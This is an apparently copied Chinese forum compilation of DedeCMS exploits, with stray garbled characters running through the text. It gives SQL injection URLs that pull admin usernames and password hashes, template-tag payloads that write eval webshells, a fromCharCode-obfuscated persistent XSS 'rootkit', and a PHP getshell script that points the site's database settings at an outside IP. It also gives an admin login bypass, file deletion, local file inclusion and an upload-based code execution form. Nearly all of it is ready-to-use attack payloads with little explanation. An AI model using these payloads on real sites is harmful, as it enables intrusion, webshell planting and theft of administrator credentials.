dedecms漏洞总结

admin

1 ~4 D1 O- z/ t  jDedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
5 a; Q  |& N: Y8 V( z
1 Z3 j' u0 @0 M/ t/ v5 I
. I8 J) ]* u6 ~. }# E
( d; V+ u1 `  J+ ]) r0 W. H




- F; s' c/ B" m, LDedeCms v5.6 嵌入恶意代码执行漏洞
4 n% F: j9 l1 H注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
& o$ v) ?) Z. Q7 V" S6 ha{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。


$ d" ?- g1 y3 D) Y: E6 l" B3 u

+ h( \/ V! u1 ?- \

% d  t3 `1 \! F% s
8 ~6 a/ m/ y& t  @- h- |$ i
Dede 5.6 GBK SQL注入漏洞
# d8 \6 `7 N' u' _http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

" x) }5 @& Q6 |5 Q8 U


. P6 C6 B1 j6 A$ z: i$ q# e
' D+ v& q. u# f1 W) I# ~
% y8 T, W: m7 [2 [- Q+ p# U

2 b) O, J, Q+ Z& `1 `DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
2 m( d3 g" W& U5 ]. E
: [1 L. J, X2 N' |7 l
/ ]1 v( G7 u5 r3 h4 }7 C
) B) W8 O7 A8 P5 j7 u8 q$ m& o0 \

7 X( _8 z6 z; T, O
8 T' f* d1 q6 B; y& }4 c  U6 vDEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
8 U% F* |, \6 ?
0 a- |; x" F1 ]& f+ z
2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

1 J2 j1 L: S  a' s" B: w' a
$ C; G0 D" d3 n" ~/ k( i8 K: r9 n# Q; Zhttp://v57.demo.dedecms.com/dede/login.php

8 L, p) v& H" J  D  ~
color=Red]DeDeCMS(织梦)变量覆盖getshell
( u- {6 p2 `$ L0 m0 B" v#!usr/bin/php -w
<?php
" P. g% h$ g: ~, \" P+ E: Derror_reporting(E_ERROR);
8 A+ V. |4 R  Y0 y# P9 zset_time_limit(0);
print_r('
DEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
);
& c* x$ g" R2 w2 M3 l( y2 m* qecho "\r\n";
1 R  @. o, t3 M$ C" E: }6 aif($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
0 [! }, z* F7 z% oUsage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
) V  g0 G6 O0 K, i1 @* s( L4 T');
, o3 \  o# U$ ?; Yexit;
}
$url=$argv[1];
6 o$ F$ k- P9 v3 d. s$aid=$argv[2];
. b* o! E* X" W$path=$argv[3];
# X! E' V/ F3 f5 G6 j& h  Z$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
0 P( c, Q$ j7 g  ZExploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
' R4 r  D/ N) `$ d5 ^
' n1 A  A% N/ B  e2 }) {* f4 \
if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;
3 d; P, Y- A6 n5 U7 b3 |
& u9 j1 M* ^+ I5 ~9 T' q. s* @) {+ F
" o( q" H  D; c: v$ a6 {  }if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";


3 q0 n: E& E) e+ m8 J7 a}else{
echo "
Exploit Failed \n";
}
- c+ @4 S. v$ ~. x# U! o/ P' xfunction Getshell($url,$aid,$path){
4 A" A4 h' _8 r5 X# ]/ E( v$id=$aid;
$host=$url;
1 ?( \- y. u$ E& ^* v/ n$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
- K& z; ]0 H1 V. {2 `+ a) g# ^$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
  w5 F5 K2 ], \! n, X$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
- Q& N5 B/ K5 ~0 V$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
* Y# ?* _9 L5 p  @- k//$data .= "Accept-Encoding: gzip,deflate\r\n";
6 X0 s4 S# Z& Y$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
8 \8 r0 z. S4 S. B2 M* {% e$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
3 C  C$ A% j  ^5 y/ ^4 oif (!$ock) {
: U# U( a  |- `5 a1 F' vecho "
9 p: {1 {6 W9 i1 M& g6 n& C8 cNo response from ".$host."\n";
}
fwrite($ock,$data);
* e3 ]3 _* O7 E8 Cwhile (!feof($ock)) {
$exp=fgets($ock, 1024);
0 K5 N& Y' g; |1 o1 Greturn $exp;
$ ]) ^& R0 l. ~4 W5 a0 [}
}
* P9 B5 x7 ^6 O

6 N9 ]8 ^. e% ~6 |$ n" m' Y9 l?>
0 ~/ ^2 v" s. \# M* B' h7 |. {
( }! `" |( N/ ^6 R" \& P
% }; \) x7 p9 @& ~" G
( V9 G) A9 T0 h' r2 F

) L' a) C7 X' `
1 s1 ?: C- z" y9 t
8 T. c  R7 I9 S  m7 A
' t3 U/ f- `/ H, V" p: g' v
: K) X6 ^8 Q2 }  C2 c
9 o1 ?  Y2 ~' H; a+ x  S5 j- oDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
$ B4 i, {8 C7 C, K! {7 R

7 q3 D: X5 E. D把上面validate=dcug改为当前的验证码，即可直接进入网站后台
- Q9 V1 e# [$ m6 W1 K. C

此漏洞的前提是必须得到后台路径才能实现
. }0 X0 ^; n: C1 t3 v
  `/ \/ t8 X  _






% k4 m5 w- [% t6 H
+ F, i* q  W; S4 T! }" K
Dedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');


再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
" W# S$ k+ h3 p: J0 B6 [+ y& f/ \<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
  Q" ~6 n* ~* l7 ]" l<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
" j( r: q& V: R- k8 A" N+ o2 Y<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
  l% c" R3 ]: b1 B& h6 e' w" S<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
! a2 n; H7 w. v( Q</form>
<script>
" G% e) P2 |! l7 V" b' rfunction addaction()
% j0 g6 j- v4 e' M3 {+ N{
: {) Z3 h  I, C6 y( Zdocument.QuickSearch.action=document.QuickSearch.doaction.value;
! }& D( q; B6 p9 E/ S) H}
</script>
; q8 D% a! n9 P8 R1 r
$ _9 @2 u) R" i6 Z! \2 L
# e6 J% ^% G1 t8 A& G2 `



; D3 R7 }! G. I  b. G9 b
3 O. L' h9 e$ Q* q! Z6 s


+ b: [- _5 z+ u2 b  w2 sDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
& ^9 z- {; A* b7 SDedecms <= V5.6 Final模板执行漏洞
7 L5 D8 ~# a2 r  v注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
- x0 A, `  k# K: ?7 H* }uploads/userup/2/12OMX04-15A.jpg

) `8 z: ~% n' f
& i/ ^0 X# R" @0 ^( H模板内容是（如果限制图片格式，加gif89a）：
; M) M; @( M; Y  e  _{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
' z6 }% D% n8 G2 z$ E* i@fclose($fp);
# }. D- H7 `- j& V{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
  R) ]2 L7 R7 z: H+ x<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
/ V1 t' r( ^+ q/ a( B+ V( m5 B<input type="hidden" name="dopost" value="save" />
$ T* }* I3 I& i9 ^; P* r<input type="hidden" name="aid" value="2" />
1 ^3 M$ X5 ?) Y- t6 F, t<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
$ B3 l* ^& D* B# x1 \# k: @4 \<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />

: b  a# ?0 y' r8 y  n7 Q1 h
<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>


- W! J5 Q+ Y! ^5 L6 |<div class="postForm">
5 x6 F/ l% H/ f/ X' _, G' u& R! k9 a' k<label>标题：</label>
6 Z1 y' a# j5 j7 i- [: T. D<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>


' b& M# D4 n. n$ E8 @0 f8 E<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
2 a. l6 o! r0 U$ h* S6 Q
8 V1 {# s$ K( _2 P# \. n
* r, L; U6 X3 Y. j7 u<label>作者：</label>
& r+ f3 F' K2 r- I" @- Q) v<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


<label>隶属栏目：</label>
* ~1 R( E2 }. U6 a- n$ `<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)

1 L/ T$ D' E) W- F. i1 Z
4 E  B/ z# ~' q( X7 W( O! J<label>我的分类：</label>
; ~6 \% P. o: ^9 V; B<select name='mtypesid' size='1'>
/ H: F8 f2 f- n7 a<option value='0' selected>请选择分类...</option>
$ z3 v6 ~5 E4 X* l5 d- f<option value='1' class='option3' selected>hahahha</option>
3 _1 h+ u, I* O" w</select>
% ~8 G& A9 `/ b- D1 \  ]/ T

<label>信息摘要：</label>
/ O. Z+ E, t* \. t. _- q. m<textarea name="description" id="description">1111111</textarea>
5 U" d$ N$ ^2 D7 J(内容的简要说明)
7 ~# h: e! d' b  L! O+ [, U; s

<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
! A( S/ n( [3 x, x

<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
+ Q( I  I' B% {8 v  d4 G7 [- l* f</div>
; J' ~9 t. j; d4 X- A0 H! ^1 @
: H3 d- B2 T5 M- P2 E7 u( f
<!-- 表单操作区域 -->
3 y, }" c* K+ O* C6 w$ G4 y<h3 class="meTitle">详细内容</h3>
, `) Q# `/ V5 ?. `$ Q) b8 t: _

# r$ A, T* _* y" s$ C<div class="contentShow postForm">
0 a4 O5 \3 b# \7 _8 _2 b<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
1 S, {. P% C6 {  b! a# V
. J$ x# ?1 J1 x7 _  P
<label>验证码：</label>
9 {/ r1 \( A. R  s0 g- B( z<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
2 K. M3 S1 W. ~

( c  c5 F$ {$ X. q. q) M3 y* w<button class="button2" type="submit">提交</button>
& o' m/ [6 Y, `  A+ F; Z: t<button class="button2 ml10" type="reset">重置</button>
</div>
9 s" T/ z! T; l2 M$ P* z
% t4 ]% y8 d9 _
/ U+ [- ~8 H: H# y/ B. E7 j# o</div>
" D% T1 F5 D/ ]% e5 o/ C+ y$ j
0 x/ x3 [2 C* h+ q- F& K3 H0 c
</form>
! m. x% H$ D: g7 w% @
) J& y; P5 k' O; M/ Z/ Y5 ~$ Y
! Q7 h. p: ~1 E5 c  p2 f提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
* o4 |) g$ F" s假设刚刚修改的文章的aid为2，则我们只需要访问：
. f3 D4 h0 V/ t$ G9 k8 L* zhttp://127.0.0.1/dede/plus/view.php?aid=2
1 ]; V! i) B' R) f# G* f  W即可以在plus目录下生成webshell：1.php
$ ~0 n& c8 c# C0 N1 x



' K  M# p9 ~6 [  D/ B3 R
. j/ ~* H0 X! [# a. [8 ]; N# }
  ^1 a* C( u8 Y+ ]) `( l3 z; S

5 P0 ~  w5 t5 {8 F* h1 y* ^: V5 z



2 M+ |0 j) q) s- ~" n- \DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
, P' v8 G/ J$ J# b' V, _' uGif89a{dede:field name='toby57' runphp='yes'}
9 \" R( P1 F) Cphpinfo();
{/dede:field}
2 d! z6 {- I3 l5 I/ `0 v& }1 m保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
. K. U" }& x4 r8 |! p; D! K. C<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
: C. x- i& [- {( ^+ a5 B<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
& e0 {9 [! i+ r  ~- G</form>
$ H! h) m8 b3 O% a9 }

构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
- O# ?% V7 V5 F+ }) A发表文章，然后构造修改表单如下：

- r/ |/ y" S+ s1 |& z/ Y
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
2 x  S& ^8 j$ P  \<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
! G/ b* n1 R$ l/ b3 _- u; L# h% R<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
+ P2 g3 s( U% }; ^<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
$ }" C5 K0 j0 u; H<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
+ X  j4 I' D7 d, f+ U) U<select name='mtypesid' size='1'>
7 _& I( C' T! P1 G4 s' ]) _<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
" u4 s; y/ u( i<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
: D( w6 p8 n( X9 Y0 n& ^* W<button class="button2" type="submit">提交</button>
8 A3 f; L& J) I$ w2 k; K2 {8 A0 f</form>

- I& Q* l: s8 b$ [

6 V" z" u% E' T

9 D9 {: f4 c6 d8 y8 a2 r6 \

# j% X2 s! ]9 _. E% h- Z: B

% n7 K7 G6 e$ ~( ?5 D  Z. C


; k% n! G* F) j织梦(Dedecms)V5.6 远程文件删除漏洞
0 D% o2 P' k" `+ |2 vhttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif


& \: t) j* `; X* W, I2 y. `
) m, F  S' W1 W- u2 Q( R



: q! Y  \: @7 I1 e- M
8 b% N3 E* J. D$ z8 q
9 }& z+ g/ H! t' \8 ]+ `
) d& k2 N) b$ `. m& M% y: q" t织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
2 ^! l& s$ c2 R: V9 O& K& u
6 y; k. Q. r  U' x1 O+ B. m4 R


6 @2 a: \5 V. f5 x
+ a5 X, ?  q5 P  n( T
  ^" V+ o* j2 @* R



DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
! o" x4 G( E: t( |plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
2 E7 K  q# V8 P1 q* M2 H- \2 b8 s0 z




  @* C# J7 K: g! W3 _3 i2 M
% N8 q4 m) E+ R! z3 b5 \2 j
. g" D. U0 ]! Y6 a6 r


织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
# c7 b( B8 j( Bhttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

0 z( {4 y6 c: J/ i2 r# g


6 k# I; ?' J0 P3 g( [4 ?7 G


8 W' j( E7 G$ Z) h5 k
9 x9 X' Y7 G; V1 O

6 |- m3 u8 }  R( J  K7 y8 i+ L+ ]织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
, {. N, T+ u! R1 K, q  s5 C+ q7 L3 n2 d<html>
! @0 u" {8 T$ c5 T6 m* E<head>
. `5 R; k& ^5 W+ [' u5 r<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
8 j8 g6 p# B3 P  ~+ z</head>
0 A7 B& h" z/ A: U<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
  E" `: d3 N4 b, r1 s6 S- B<input type='hidden' name='activepath' value='/data/cache/' />
* D- F' T/ J# O+ e4 a2 p  j<input type='hidden' name='cfg_basedir' value='../../' />
! ~% m$ K' {" {. Y2 V<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
* \; m9 y; G  s; B' H<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
9 H* V' Y9 X! i: ^Select U Shell <input type='file' name='uploadfile' size='25' />
9 L3 H) z7 ]( v8 }' k9 p+ F. K<input type='submit' name='sb1' value='确定' />
</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
2 C9 c) \) \7 R! @</html>

, }' e. E. s/ ~0 u
6 v! ], F+ R% K/ {* }

+ p1 d) ?6 b: Y- M: ~: e8 N

6 j+ O# S9 o& \: @5 A0 X

8 L0 L$ t' \: h( i

; N% [+ T- q% G9 a% k1 B: o) R织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
+ n: T" h! I9 _( }4 `, }4 I利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
6 ~. u. E, w! m& q* O. n& }

& Y+ a! i" N" Q: _2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
; p6 b6 E) I; @Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
, j6 c  u) H  [4 w4 l  n

- z5 W  }" ~0 y# B3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
  S5 x, i& P& ]& Z) C7 o

<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
3 Q/ C7 o! b1 a8 h- p) x+ {

$ G0 ^9 N  Z5 w% k7 n, Q* t( \按确定后的看到第2步骤的信息表示文件木马上传成功.

: o/ i: f6 P7 _  f+ z. U( S# G
. G; a* Y" [6 J" }; K/ G

# I' x, v$ O* E2 a1 K  E. w


) }5 h. _) {8 E7 e# N/ w
3 o" Z  i2 [" w' T* v) s
" y7 y- ^3 w! r$ R


* r# e/ W# i7 i) J织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*